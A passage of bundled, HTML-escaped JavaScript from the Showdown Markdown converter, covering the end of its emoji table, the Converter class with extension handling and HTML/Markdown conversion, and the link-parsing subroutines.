          &quot;stuck_out_tongue_closed_eyes&quot;: &quot;\u{1F61D}&quot;,
          &quot;stuck_out_tongue_winking_eye&quot;: &quot;\u{1F61C}&quot;,
          &quot;studio_microphone&quot;: &quot;\u{1F399}&quot;,
          &quot;stuffed_flatbread&quot;: &quot;\u{1F959}&quot;,
          &quot;sun_behind_large_cloud&quot;: &quot;\u{1F325}&quot;,
          &quot;sun_behind_rain_cloud&quot;: &quot;\u{1F326}&quot;,
          &quot;sun_behind_small_cloud&quot;: &quot;\u{1F324}&quot;,
          &quot;sun_with_face&quot;: &quot;\u{1F31E}&quot;,
          &quot;sunflower&quot;: &quot;\u{1F33B}&quot;,
          &quot;sunglasses&quot;: &quot;\u{1F60E}&quot;,
          &quot;sunny&quot;: &quot;\u2600\uFE0F&quot;,
          &quot;sunrise&quot;: &quot;\u{1F305}&quot;,
          &quot;sunrise_over_mountains&quot;: &quot;\u{1F304}&quot;,
          &quot;surfing_man&quot;: &quot;\u{1F3C4}&quot;,
          &quot;surfing_woman&quot;: &quot;\u{1F3C4}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;sushi&quot;: &quot;\u{1F363}&quot;,
          &quot;suspension_railway&quot;: &quot;\u{1F69F}&quot;,
          &quot;sweat&quot;: &quot;\u{1F613}&quot;,
          &quot;sweat_drops&quot;: &quot;\u{1F4A6}&quot;,
          &quot;sweat_smile&quot;: &quot;\u{1F605}&quot;,
          &quot;sweet_potato&quot;: &quot;\u{1F360}&quot;,
          &quot;swimming_man&quot;: &quot;\u{1F3CA}&quot;,
          &quot;swimming_woman&quot;: &quot;\u{1F3CA}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;symbols&quot;: &quot;\u{1F523}&quot;,
          &quot;synagogue&quot;: &quot;\u{1F54D}&quot;,
          &quot;syringe&quot;: &quot;\u{1F489}&quot;,
          &quot;taco&quot;: &quot;\u{1F32E}&quot;,
          &quot;tada&quot;: &quot;\u{1F389}&quot;,
          &quot;tanabata_tree&quot;: &quot;\u{1F38B}&quot;,
          &quot;taurus&quot;: &quot;\u2649\uFE0F&quot;,
          &quot;taxi&quot;: &quot;\u{1F695}&quot;,
          &quot;tea&quot;: &quot;\u{1F375}&quot;,
          &quot;telephone_receiver&quot;: &quot;\u{1F4DE}&quot;,
          &quot;telescope&quot;: &quot;\u{1F52D}&quot;,
          &quot;tennis&quot;: &quot;\u{1F3BE}&quot;,
          &quot;tent&quot;: &quot;\u26FA\uFE0F&quot;,
          &quot;thermometer&quot;: &quot;\u{1F321}&quot;,
          &quot;thinking&quot;: &quot;\u{1F914}&quot;,
          &quot;thought_balloon&quot;: &quot;\u{1F4AD}&quot;,
          &quot;ticket&quot;: &quot;\u{1F3AB}&quot;,
          &quot;tickets&quot;: &quot;\u{1F39F}&quot;,
          &quot;tiger&quot;: &quot;\u{1F42F}&quot;,
          &quot;tiger2&quot;: &quot;\u{1F405}&quot;,
          &quot;timer_clock&quot;: &quot;\u23F2&quot;,
          &quot;tipping_hand_man&quot;: &quot;\u{1F481}&amp;zwj;\u2642\uFE0F&quot;,
          &quot;tired_face&quot;: &quot;\u{1F62B}&quot;,
          &quot;tm&quot;: &quot;\u2122\uFE0F&quot;,
          &quot;toilet&quot;: &quot;\u{1F6BD}&quot;,
          &quot;tokyo_tower&quot;: &quot;\u{1F5FC}&quot;,
          &quot;tomato&quot;: &quot;\u{1F345}&quot;,
          &quot;tongue&quot;: &quot;\u{1F445}&quot;,
          &quot;top&quot;: &quot;\u{1F51D}&quot;,
          &quot;tophat&quot;: &quot;\u{1F3A9}&quot;,
          &quot;tornado&quot;: &quot;\u{1F32A}&quot;,
          &quot;trackball&quot;: &quot;\u{1F5B2}&quot;,
          &quot;tractor&quot;: &quot;\u{1F69C}&quot;,
          &quot;traffic_light&quot;: &quot;\u{1F6A5}&quot;,
          &quot;train&quot;: &quot;\u{1F68B}&quot;,
          &quot;train2&quot;: &quot;\u{1F686}&quot;,
          &quot;tram&quot;: &quot;\u{1F68A}&quot;,
          &quot;triangular_flag_on_post&quot;: &quot;\u{1F6A9}&quot;,
          &quot;triangular_ruler&quot;: &quot;\u{1F4D0}&quot;,
          &quot;trident&quot;: &quot;\u{1F531}&quot;,
          &quot;triumph&quot;: &quot;\u{1F624}&quot;,
          &quot;trolleybus&quot;: &quot;\u{1F68E}&quot;,
          &quot;trophy&quot;: &quot;\u{1F3C6}&quot;,
          &quot;tropical_drink&quot;: &quot;\u{1F379}&quot;,
          &quot;tropical_fish&quot;: &quot;\u{1F420}&quot;,
          &quot;truck&quot;: &quot;\u{1F69A}&quot;,
          &quot;trumpet&quot;: &quot;\u{1F3BA}&quot;,
          &quot;tulip&quot;: &quot;\u{1F337}&quot;,
          &quot;tumbler_glass&quot;: &quot;\u{1F943}&quot;,
          &quot;turkey&quot;: &quot;\u{1F983}&quot;,
          &quot;turtle&quot;: &quot;\u{1F422}&quot;,
          &quot;tv&quot;: &quot;\u{1F4FA}&quot;,
          &quot;twisted_rightwards_arrows&quot;: &quot;\u{1F500}&quot;,
          &quot;two_hearts&quot;: &quot;\u{1F495}&quot;,
          &quot;two_men_holding_hands&quot;: &quot;\u{1F46C}&quot;,
          &quot;two_women_holding_hands&quot;: &quot;\u{1F46D}&quot;,
          &quot;u5272&quot;: &quot;\u{1F239}&quot;,
          &quot;u5408&quot;: &quot;\u{1F234}&quot;,
          &quot;u55b6&quot;: &quot;\u{1F23A}&quot;,
          &quot;u6307&quot;: &quot;\u{1F22F}\uFE0F&quot;,
          &quot;u6708&quot;: &quot;\u{1F237}\uFE0F&quot;,
          &quot;u6709&quot;: &quot;\u{1F236}&quot;,
          &quot;u6e80&quot;: &quot;\u{1F235}&quot;,
          &quot;u7121&quot;: &quot;\u{1F21A}\uFE0F&quot;,
          &quot;u7533&quot;: &quot;\u{1F238}&quot;,
          &quot;u7981&quot;: &quot;\u{1F232}&quot;,
          &quot;u7a7a&quot;: &quot;\u{1F233}&quot;,
          &quot;umbrella&quot;: &quot;\u2614\uFE0F&quot;,
          &quot;unamused&quot;: &quot;\u{1F612}&quot;,
          &quot;underage&quot;: &quot;\u{1F51E}&quot;,
          &quot;unicorn&quot;: &quot;\u{1F984}&quot;,
          &quot;unlock&quot;: &quot;\u{1F513}&quot;,
          &quot;up&quot;: &quot;\u{1F199}&quot;,
          &quot;upside_down_face&quot;: &quot;\u{1F643}&quot;,
          &quot;v&quot;: &quot;\u270C\uFE0F&quot;,
          &quot;vertical_traffic_light&quot;: &quot;\u{1F6A6}&quot;,
          &quot;vhs&quot;: &quot;\u{1F4FC}&quot;,
          &quot;vibration_mode&quot;: &quot;\u{1F4F3}&quot;,
          &quot;video_camera&quot;: &quot;\u{1F4F9}&quot;,
          &quot;video_game&quot;: &quot;\u{1F3AE}&quot;,
          &quot;violin&quot;: &quot;\u{1F3BB}&quot;,
          &quot;virgo&quot;: &quot;\u264D\uFE0F&quot;,
          &quot;volcano&quot;: &quot;\u{1F30B}&quot;,
          &quot;volleyball&quot;: &quot;\u{1F3D0}&quot;,
          &quot;vs&quot;: &quot;\u{1F19A}&quot;,
          &quot;vulcan_salute&quot;: &quot;\u{1F596}&quot;,
          &quot;walking_man&quot;: &quot;\u{1F6B6}&quot;,
          &quot;walking_woman&quot;: &quot;\u{1F6B6}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;waning_crescent_moon&quot;: &quot;\u{1F318}&quot;,
          &quot;waning_gibbous_moon&quot;: &quot;\u{1F316}&quot;,
          &quot;warning&quot;: &quot;\u26A0\uFE0F&quot;,
          &quot;wastebasket&quot;: &quot;\u{1F5D1}&quot;,
          &quot;watch&quot;: &quot;\u231A\uFE0F&quot;,
          &quot;water_buffalo&quot;: &quot;\u{1F403}&quot;,
          &quot;watermelon&quot;: &quot;\u{1F349}&quot;,
          &quot;wave&quot;: &quot;\u{1F44B}&quot;,
          &quot;wavy_dash&quot;: &quot;\u3030\uFE0F&quot;,
          &quot;waxing_crescent_moon&quot;: &quot;\u{1F312}&quot;,
          &quot;wc&quot;: &quot;\u{1F6BE}&quot;,
          &quot;weary&quot;: &quot;\u{1F629}&quot;,
          &quot;wedding&quot;: &quot;\u{1F492}&quot;,
          &quot;weight_lifting_man&quot;: &quot;\u{1F3CB}\uFE0F&quot;,
          &quot;weight_lifting_woman&quot;: &quot;\u{1F3CB}\uFE0F&amp;zwj;\u2640\uFE0F&quot;,
          &quot;whale&quot;: &quot;\u{1F433}&quot;,
          &quot;whale2&quot;: &quot;\u{1F40B}&quot;,
          &quot;wheel_of_dharma&quot;: &quot;\u2638\uFE0F&quot;,
          &quot;wheelchair&quot;: &quot;\u267F\uFE0F&quot;,
          &quot;white_check_mark&quot;: &quot;\u2705&quot;,
          &quot;white_circle&quot;: &quot;\u26AA\uFE0F&quot;,
          &quot;white_flag&quot;: &quot;\u{1F3F3}\uFE0F&quot;,
          &quot;white_flower&quot;: &quot;\u{1F4AE}&quot;,
          &quot;white_large_square&quot;: &quot;\u2B1C\uFE0F&quot;,
          &quot;white_medium_small_square&quot;: &quot;\u25FD\uFE0F&quot;,
          &quot;white_medium_square&quot;: &quot;\u25FB\uFE0F&quot;,
          &quot;white_small_square&quot;: &quot;\u25AB\uFE0F&quot;,
          &quot;white_square_button&quot;: &quot;\u{1F533}&quot;,
          &quot;wilted_flower&quot;: &quot;\u{1F940}&quot;,
          &quot;wind_chime&quot;: &quot;\u{1F390}&quot;,
          &quot;wind_face&quot;: &quot;\u{1F32C}&quot;,
          &quot;wine_glass&quot;: &quot;\u{1F377}&quot;,
          &quot;wink&quot;: &quot;\u{1F609}&quot;,
          &quot;wolf&quot;: &quot;\u{1F43A}&quot;,
          &quot;woman&quot;: &quot;\u{1F469}&quot;,
          &quot;woman_artist&quot;: &quot;\u{1F469}&amp;zwj;\u{1F3A8}&quot;,
          &quot;woman_astronaut&quot;: &quot;\u{1F469}&amp;zwj;\u{1F680}&quot;,
          &quot;woman_cartwheeling&quot;: &quot;\u{1F938}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;woman_cook&quot;: &quot;\u{1F469}&amp;zwj;\u{1F373}&quot;,
          &quot;woman_facepalming&quot;: &quot;\u{1F926}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;woman_factory_worker&quot;: &quot;\u{1F469}&amp;zwj;\u{1F3ED}&quot;,
          &quot;woman_farmer&quot;: &quot;\u{1F469}&amp;zwj;\u{1F33E}&quot;,
          &quot;woman_firefighter&quot;: &quot;\u{1F469}&amp;zwj;\u{1F692}&quot;,
          &quot;woman_health_worker&quot;: &quot;\u{1F469}&amp;zwj;\u2695\uFE0F&quot;,
          &quot;woman_judge&quot;: &quot;\u{1F469}&amp;zwj;\u2696\uFE0F&quot;,
          &quot;woman_juggling&quot;: &quot;\u{1F939}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;woman_mechanic&quot;: &quot;\u{1F469}&amp;zwj;\u{1F527}&quot;,
          &quot;woman_office_worker&quot;: &quot;\u{1F469}&amp;zwj;\u{1F4BC}&quot;,
          &quot;woman_pilot&quot;: &quot;\u{1F469}&amp;zwj;\u2708\uFE0F&quot;,
          &quot;woman_playing_handball&quot;: &quot;\u{1F93E}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;woman_playing_water_polo&quot;: &quot;\u{1F93D}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;woman_scientist&quot;: &quot;\u{1F469}&amp;zwj;\u{1F52C}&quot;,
          &quot;woman_shrugging&quot;: &quot;\u{1F937}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;woman_singer&quot;: &quot;\u{1F469}&amp;zwj;\u{1F3A4}&quot;,
          &quot;woman_student&quot;: &quot;\u{1F469}&amp;zwj;\u{1F393}&quot;,
          &quot;woman_teacher&quot;: &quot;\u{1F469}&amp;zwj;\u{1F3EB}&quot;,
          &quot;woman_technologist&quot;: &quot;\u{1F469}&amp;zwj;\u{1F4BB}&quot;,
          &quot;woman_with_turban&quot;: &quot;\u{1F473}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;womans_clothes&quot;: &quot;\u{1F45A}&quot;,
          &quot;womans_hat&quot;: &quot;\u{1F452}&quot;,
          &quot;women_wrestling&quot;: &quot;\u{1F93C}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;womens&quot;: &quot;\u{1F6BA}&quot;,
          &quot;world_map&quot;: &quot;\u{1F5FA}&quot;,
          &quot;worried&quot;: &quot;\u{1F61F}&quot;,
          &quot;wrench&quot;: &quot;\u{1F527}&quot;,
          &quot;writing_hand&quot;: &quot;\u270D\uFE0F&quot;,
          &quot;x&quot;: &quot;\u274C&quot;,
          &quot;yellow_heart&quot;: &quot;\u{1F49B}&quot;,
          &quot;yen&quot;: &quot;\u{1F4B4}&quot;,
          &quot;yin_yang&quot;: &quot;\u262F\uFE0F&quot;,
          &quot;yum&quot;: &quot;\u{1F60B}&quot;,
          &quot;zap&quot;: &quot;\u26A1\uFE0F&quot;,
          &quot;zipper_mouth_face&quot;: &quot;\u{1F910}&quot;,
          &quot;zzz&quot;: &quot;\u{1F4A4}&quot;,
          /* special emojis :P */
          &quot;octocat&quot;: &#039;&lt;img alt=&quot;:octocat:&quot; height=&quot;20&quot; width=&quot;20&quot; align=&quot;absmiddle&quot; src=&quot;https://assets-cdn.github.com/images/icons/emoji/octocat.png&quot;&gt;&#039;,
          &quot;showdown&quot;: `&lt;span style=&quot;font-family: &#039;Anonymous Pro&#039;, monospace; text-decoration: underline; text-decoration-style: dashed; text-decoration-color: #3e8b8a;text-underline-position: under;&quot;&gt;S&lt;/span&gt;`
        };
        showdown2.Converter = function(converterOptions) {
          &quot;use strict&quot;;
          var options = {}, langExtensions = [], outputModifiers = [], listeners = {}, setConvFlavor = setFlavor, metadata = {
            parsed: {},
            raw: &quot;&quot;,
            format: &quot;&quot;
          };
          _constructor();
          function _constructor() {
            converterOptions = converterOptions || {};
            for (var gOpt in globalOptions) {
              if (globalOptions.hasOwnProperty(gOpt)) {
                options[gOpt] = globalOptions[gOpt];
              }
            }
            if (typeof converterOptions === &quot;object&quot;) {
              for (var opt in converterOptions) {
                if (converterOptions.hasOwnProperty(opt)) {
                  options[opt] = converterOptions[opt];
                }
              }
            } else {
              throw Error(&quot;Converter expects the passed parameter to be an object, but &quot; + typeof converterOptions + &quot; was passed instead.&quot;);
            }
            if (options.extensions) {
              showdown2.helper.forEach(options.extensions, _parseExtension);
            }
          }
          function _parseExtension(ext, name) {
            name = name || null;
            if (showdown2.helper.isString(ext)) {
              ext = showdown2.helper.stdExtName(ext);
              name = ext;
              if (showdown2.extensions[ext]) {
                console.warn(&quot;DEPRECATION WARNING: &quot; + ext + &quot; is an old extension that uses a deprecated loading method.Please inform the developer that the extension should be updated!&quot;);
                legacyExtensionLoading(showdown2.extensions[ext], ext);
                return;
              } else if (!showdown2.helper.isUndefined(extensions[ext])) {
                ext = extensions[ext];
              } else {
                throw Error(&#039;Extension &quot;&#039; + ext + &#039;&quot; could not be loaded. It was either not found or is not a valid extension.&#039;);
              }
            }
            if (typeof ext === &quot;function&quot;) {
              ext = ext();
            }
            if (!showdown2.helper.isArray(ext)) {
              ext = [ext];
            }
            var validExt = validate(ext, name);
            if (!validExt.valid) {
              throw Error(validExt.error);
            }
            for (var i2 = 0; i2 &lt; ext.length; ++i2) {
              switch (ext[i2].type) {
                case &quot;lang&quot;:
                  langExtensions.push(ext[i2]);
                  break;
                case &quot;output&quot;:
                  outputModifiers.push(ext[i2]);
                  break;
              }
              if (ext[i2].hasOwnProperty(&quot;listeners&quot;)) {
                for (var ln in ext[i2].listeners) {
                  if (ext[i2].listeners.hasOwnProperty(ln)) {
                    listen(ln, ext[i2].listeners[ln]);
                  }
                }
              }
            }
          }
          function legacyExtensionLoading(ext, name) {
            if (typeof ext === &quot;function&quot;) {
              ext = ext(new showdown2.Converter());
            }
            if (!showdown2.helper.isArray(ext)) {
              ext = [ext];
            }
            var valid = validate(ext, name);
            if (!valid.valid) {
              throw Error(valid.error);
            }
            for (var i2 = 0; i2 &lt; ext.length; ++i2) {
              switch (ext[i2].type) {
                case &quot;lang&quot;:
                  langExtensions.push(ext[i2]);
                  break;
                case &quot;output&quot;:
                  outputModifiers.push(ext[i2]);
                  break;
                default:
                  throw Error(&quot;Extension loader error: Type unrecognized!!!&quot;);
              }
            }
          }
          function listen(name, callback) {
            if (!showdown2.helper.isString(name)) {
              throw Error(&quot;Invalid argument in converter.listen() method: name must be a string, but &quot; + typeof name + &quot; given&quot;);
            }
            if (typeof callback !== &quot;function&quot;) {
              throw Error(&quot;Invalid argument in converter.listen() method: callback must be a function, but &quot; + typeof callback + &quot; given&quot;);
            }
            if (!listeners.hasOwnProperty(name)) {
              listeners[name] = [];
            }
            listeners[name].push(callback);
          }
          function rTrimInputText(text2) {
            var rsp = text2.match(/^\s*/)[0].length, rgx = new RegExp(&quot;^\\s{0,&quot; + rsp + &quot;}&quot;, &quot;gm&quot;);
            return text2.replace(rgx, &quot;&quot;);
          }
          this._dispatch = function dispatch3(evtName, text2, options2, globals) {
            if (listeners.hasOwnProperty(evtName)) {
              for (var ei = 0; ei &lt; listeners[evtName].length; ++ei) {
                var nText = listeners[evtName][ei](evtName, text2, this, options2, globals);
                if (nText &amp;&amp; typeof nText !== &quot;undefined&quot;) {
                  text2 = nText;
                }
              }
            }
            return text2;
          };
          this.listen = function(name, callback) {
            listen(name, callback);
            return this;
          };
          this.makeHtml = function(text2) {
            if (!text2) {
              return text2;
            }
            var globals = {
              gHtmlBlocks: [],
              gHtmlMdBlocks: [],
              gHtmlSpans: [],
              gUrls: {},
              gTitles: {},
              gDimensions: {},
              gListLevel: 0,
              hashLinkCounts: {},
              langExtensions,
              outputModifiers,
              converter: this,
              ghCodeBlocks: [],
              metadata: {
                parsed: {},
                raw: &quot;&quot;,
                format: &quot;&quot;
              }
            };
            text2 = text2.replace(/¨/g, &quot;\xA8T&quot;);
            text2 = text2.replace(/\$/g, &quot;\xA8D&quot;);
            text2 = text2.replace(/\r\n/g, &quot;\n&quot;);
            text2 = text2.replace(/\r/g, &quot;\n&quot;);
            text2 = text2.replace(/\u00A0/g, &quot;&amp;nbsp;&quot;);
            if (options.smartIndentationFix) {
              text2 = rTrimInputText(text2);
            }
            text2 = &quot;\n\n&quot; + text2 + &quot;\n\n&quot;;
            text2 = showdown2.subParser(&quot;detab&quot;)(text2, options, globals);
            text2 = text2.replace(/^[ \t]+$/mg, &quot;&quot;);
            showdown2.helper.forEach(langExtensions, function(ext) {
              text2 = showdown2.subParser(&quot;runExtension&quot;)(ext, text2, options, globals);
            });
            text2 = showdown2.subParser(&quot;metadata&quot;)(text2, options, globals);
            text2 = showdown2.subParser(&quot;hashPreCodeTags&quot;)(text2, options, globals);
            text2 = showdown2.subParser(&quot;githubCodeBlocks&quot;)(text2, options, globals);
            text2 = showdown2.subParser(&quot;hashHTMLBlocks&quot;)(text2, options, globals);
            text2 = showdown2.subParser(&quot;hashCodeTags&quot;)(text2, options, globals);
            text2 = showdown2.subParser(&quot;stripLinkDefinitions&quot;)(text2, options, globals);
            text2 = showdown2.subParser(&quot;blockGamut&quot;)(text2, options, globals);
            text2 = showdown2.subParser(&quot;unhashHTMLSpans&quot;)(text2, options, globals);
            text2 = showdown2.subParser(&quot;unescapeSpecialChars&quot;)(text2, options, globals);
            text2 = text2.replace(/¨D/g, &quot;$$&quot;);
            text2 = text2.replace(/¨T/g, &quot;\xA8&quot;);
            text2 = showdown2.subParser(&quot;completeHTMLDocument&quot;)(text2, options, globals);
            showdown2.helper.forEach(outputModifiers, function(ext) {
              text2 = showdown2.subParser(&quot;runExtension&quot;)(ext, text2, options, globals);
            });
            metadata = globals.metadata;
            return text2;
          };
          this.makeMarkdown = this.makeMd = function(src, HTMLParser) {
            src = src.replace(/\r\n/g, &quot;\n&quot;);
            src = src.replace(/\r/g, &quot;\n&quot;);
            src = src.replace(/&gt;[ \t]+&lt;/, &quot;&gt;\xA8NBSP;&lt;&quot;);
            if (!HTMLParser) {
              if (window &amp;&amp; window.document) {
                HTMLParser = window.document;
              } else {
                throw new Error(&quot;HTMLParser is undefined. If in a webworker or nodejs environment, you need to provide a WHATWG DOM and HTML such as JSDOM&quot;);
              }
            }
            var doc = HTMLParser.createElement(&quot;div&quot;);
            doc.innerHTML = src;
            var globals = {
              preList: substitutePreCodeTags(doc)
            };
            clean(doc);
            var nodes = doc.childNodes, mdDoc = &quot;&quot;;
            for (var i2 = 0; i2 &lt; nodes.length; i2++) {
              mdDoc += showdown2.subParser(&quot;makeMarkdown.node&quot;)(nodes[i2], globals);
            }
            function clean(node) {
              for (var n2 = 0; n2 &lt; node.childNodes.length; ++n2) {
                var child = node.childNodes[n2];
                if (child.nodeType === 3) {
                  if (!/\S/.test(child.nodeValue)) {
                    node.removeChild(child);
                    --n2;
                  } else {
                    child.nodeValue = child.nodeValue.split(&quot;\n&quot;).join(&quot; &quot;);
                    child.nodeValue = child.nodeValue.replace(/(\s)+/g, &quot;$1&quot;);
                  }
                } else if (child.nodeType === 1) {
                  clean(child);
                }
              }
            }
            function substitutePreCodeTags(doc2) {
              var pres = doc2.querySelectorAll(&quot;pre&quot;), presPH = [];
              for (var i3 = 0; i3 &lt; pres.length; ++i3) {
                if (pres[i3].childElementCount === 1 &amp;&amp; pres[i3].firstChild.tagName.toLowerCase() === &quot;code&quot;) {
                  var content = pres[i3].firstChild.innerHTML.trim(), language = pres[i3].firstChild.getAttribute(&quot;data-language&quot;) || &quot;&quot;;
                  if (language === &quot;&quot;) {
                    var classes = pres[i3].firstChild.className.split(&quot; &quot;);
                    for (var c2 = 0; c2 &lt; classes.length; ++c2) {
                      var matches = classes[c2].match(/^language-(.+)$/);
                      if (matches !== null) {
                        language = matches[1];
                        break;
                      }
                    }
                  }
                  content = showdown2.helper.unescapeHTMLEntities(content);
                  presPH.push(content);
                  pres[i3].outerHTML = &#039;&lt;precode language=&quot;&#039; + language + &#039;&quot; precodenum=&quot;&#039; + i3.toString() + &#039;&quot;&gt;&lt;/precode&gt;&#039;;
                } else {
                  presPH.push(pres[i3].innerHTML);
                  pres[i3].innerHTML = &quot;&quot;;
                  pres[i3].setAttribute(&quot;prenum&quot;, i3.toString());
                }
              }
              return presPH;
            }
            return mdDoc;
          };
          this.setOption = function(key, value) {
            options[key] = value;
          };
          this.getOption = function(key) {
            return options[key];
          };
          this.getOptions = function() {
            return options;
          };
          this.addExtension = function(extension, name) {
            name = name || null;
            _parseExtension(extension, name);
          };
          this.useExtension = function(extensionName) {
            _parseExtension(extensionName);
          };
          this.setFlavor = function(name) {
            if (!flavor.hasOwnProperty(name)) {
              throw Error(name + &quot; flavor was not found&quot;);
            }
            var preset = flavor[name];
            setConvFlavor = name;
            for (var option in preset) {
              if (preset.hasOwnProperty(option)) {
                options[option] = preset[option];
              }
            }
          };
          this.getFlavor = function() {
            return setConvFlavor;
          };
          this.removeExtension = function(extension) {
            if (!showdown2.helper.isArray(extension)) {
              extension = [extension];
            }
            for (var a2 = 0; a2 &lt; extension.length; ++a2) {
              var ext = extension[a2];
              for (var i2 = 0; i2 &lt; langExtensions.length; ++i2) {
                if (langExtensions[i2] === ext) {
                  langExtensions[i2].splice(i2, 1);
                }
              }
              for (var ii = 0; ii &lt; outputModifiers.length; ++i2) {
                if (outputModifiers[ii] === ext) {
                  outputModifiers[ii].splice(i2, 1);
                }
              }
            }
          };
          this.getAllExtensions = function() {
            return {
              language: langExtensions,
              output: outputModifiers
            };
          };
          this.getMetadata = function(raw) {
            if (raw) {
              return metadata.raw;
            } else {
              return metadata.parsed;
            }
          };
          this.getMetadataFormat = function() {
            return metadata.format;
          };
          this._setMetadataPair = function(key, value) {
            metadata.parsed[key] = value;
          };
          this._setMetadataFormat = function(format) {
            metadata.format = format;
          };
          this._setMetadataRaw = function(raw) {
            metadata.raw = raw;
          };
        };
        showdown2.subParser(&quot;anchors&quot;, function(text2, options, globals) {
          &quot;use strict&quot;;
          text2 = globals.converter._dispatch(&quot;anchors.before&quot;, text2, options, globals);
          var writeAnchorTag = function(wholeMatch, linkText, linkId, url, m5, m6, title) {
            if (showdown2.helper.isUndefined(title)) {
              title = &quot;&quot;;
            }
            linkId = linkId.toLowerCase();
            if (wholeMatch.search(/\(&lt;?\s*&gt;? ?([&#039;&quot;].*[&#039;&quot;])?\)$/m) &gt; -1) {
              url = &quot;&quot;;
            } else if (!url) {
              if (!linkId) {
                linkId = linkText.toLowerCase().replace(/ ?\n/g, &quot; &quot;);
              }
              url = &quot;#&quot; + linkId;
              if (!showdown2.helper.isUndefined(globals.gUrls[linkId])) {
                url = globals.gUrls[linkId];
                if (!showdown2.helper.isUndefined(globals.gTitles[linkId])) {
                  title = globals.gTitles[linkId];
                }
              } else {
                return wholeMatch;
              }
            }
            url = url.replace(showdown2.helper.regexes.asteriskDashAndColon, showdown2.helper.escapeCharactersCallback);
            var result = &#039;&lt;a href=&quot;&#039; + url + &#039;&quot;&#039;;
            if (title !== &quot;&quot; &amp;&amp; title !== null) {
              title = title.replace(/&quot;/g, &quot;&amp;quot;&quot;);
              title = title.replace(showdown2.helper.regexes.asteriskDashAndColon, showdown2.helper.escapeCharactersCallback);
              result += &#039; title=&quot;&#039; + title + &#039;&quot;&#039;;
            }
            if (options.openLinksInNewWindow &amp;&amp; !/^#/.test(url)) {
              result += &#039; rel=&quot;noopener noreferrer&quot; target=&quot;\xA8E95Eblank&quot;&#039;;
            }
            result += &quot;&gt;&quot; + linkText + &quot;&lt;/a&gt;&quot;;
            return result;
          };
          text2 = text2.replace(/\[((?:\[[^\]]*]|[^\[\]])*)] ?(?:\n *)?\[(.*?)]()()()()/g, writeAnchorTag);
          text2 = text2.replace(
            /\[((?:\[[^\]]*]|[^\[\]])*)]()[ \t]*\([ \t]?&lt;([^&gt;]*)&gt;(?:[ \t]*(([&quot;&#039;])([^&quot;]*?)\5))?[ \t]?\)/g,
            writeAnchorTag
          );
          text2 = text2.replace(
            /\[((?:\[[^\]]*]|[^\[\]])*)]()[ \t]*\([ \t]?&lt;?([\S]+?(?:\([\S]*?\)[\S]*?)?)&gt;?(?:[ \t]*(([&quot;&#039;])([^&quot;]*?)\5))?[ \t]?\)/g,
            writeAnchorTag
          );
          text2 = text2.replace(/\[([^\[\]]+)]()()()()()/g, writeAnchorTag);
          if (options.ghMentions) {
            text2 = text2.replace(/(^|\s)(\\)?(@([a-z\d]+(?:[a-z\d.-]+?[a-z\d]+)*))/gmi, function(wm, st, escape, mentions, username) {
              if (escape === &quot;\\&quot;) {
                return st + mentions;
              }
              if (!showdown2.helper.isString(options.ghMentionsLink)) {
                throw new Error(&quot;ghMentionsLink option must be a string&quot;);
              }
              var lnk = options.ghMentionsLink.replace(/\{u}/g, username), target = &quot;&quot;;
              if (options.openLinksInNewWindow) {
                target = &#039; rel=&quot;noopener noreferrer&quot; target=&quot;\xA8E95Eblank&quot;&#039;;
              }
              return st + &#039;&lt;a href=&quot;&#039; + lnk + &#039;&quot;&#039; + target + &quot;&gt;&quot; + mentions + &quot;&lt;/a&gt;&quot;;
            });
          }
          text2 = globals.converter._dispatch(&quot;anchors.after&quot;, text2, options, globals);
          return text2;
        });
        var simpleURLRegex = /([*~_]+|\b)(((https?|ftp|dict):\/\/|www\.)[^&#039;&quot;&gt;\s]+?\.[^&#039;&quot;&gt;\s]+?)()(\1)?(?=\s|$)(?![&quot;&lt;&gt;])/gi, simpleURLRegex2 = /([*~_]+|\b)(((https?|ftp|dict):\/\/|www\.)[^&#039;&quot;&gt;\s]+\.[^&#039;&quot;&gt;\s]+?)([.!?,()\[\]])?(\1)?(?=\s|$)(?![&quot;&lt;&gt;])/gi, delimUrlRegex = /()&lt;(((https?|ftp|dict):\/\/|www\.)[^&#039;&quot;&gt;\s]+)()&gt;()/gi, simpleMailRegex = /(^|\s)(?:mailto:)?([A-Za-z0-9!#$%&amp;&#039;*+-/=?^_`{|}~.]+@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)(?=$|\s)/gmi, delimMailRegex = /&lt;()(?:mailto:)?([-.\w]+@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)&gt;/gi, replaceLink = function(options) {
          &quot;use strict&quot;;
          return function(wm, leadingMagicChars, link, m2, m3, trailingPunctuation, trailingMagicChars) {
            link = link.replace(showdown2.helper.regexes.asteriskDashAndColon, showdown2.helper.escapeCharactersCallback);
            var lnkTxt = link, append = &quot;&quot;, target = &quot;&quot;, lmc = leadingMagicChars || &quot;&quot;, tmc = trailingMagicChars || &quot;&quot;;
            if (/^www\./i.test(link)) {
              link = link.replace(/^www\./i, &quot;http://www.&quot;);
            }
            if (options.excludeTrailingPunctuationFromURLs &amp;&amp; trailingPunctuation) {
              append = trailingPunctuation;
            }
            if (options.openLinksInNewWindow) {
              target = &#039; rel=&quot;noopener noreferrer&quot; target=&quot;\xA8E95Eblank&quot;&#039;;
            }
            return lmc + &#039;&lt;a href=&quot;&#039; + link + &#039;&quot;&#039; + target + &quot;&gt;&quot; + lnkTxt + &quot;&lt;/a&gt;&quot; + append + tmc;
          };
        }, replaceMail = function(options, globals) {
          &quot;use strict&quot;;
          return function(wholeMatch, b2, mail) {
            var href = &quot;mailto:&quot;;
            b2 = b2 || &quot;&quot;;
            mail = showdown2.subParser(&quot;unescapeSpecialChars&quot;)(mail, options, globals);
            if (options.encodeEmails) {
              href = showdown2.helper.encodeEmailAddress(href + mail);
              mail = showdown2.helper.encodeEmailAddress(mail);
            } else {
              href = href + mail;
            }
            return b2 + &#039;&lt;a href=&quot;&#039; + href + &#039;&quot;&gt;&#039; + mail + &quot;&lt;/a&gt;&quot;;
          };
        };
        showdown2.subParser(&quot;autoLinks&quot;, function(text2, options, globals) {
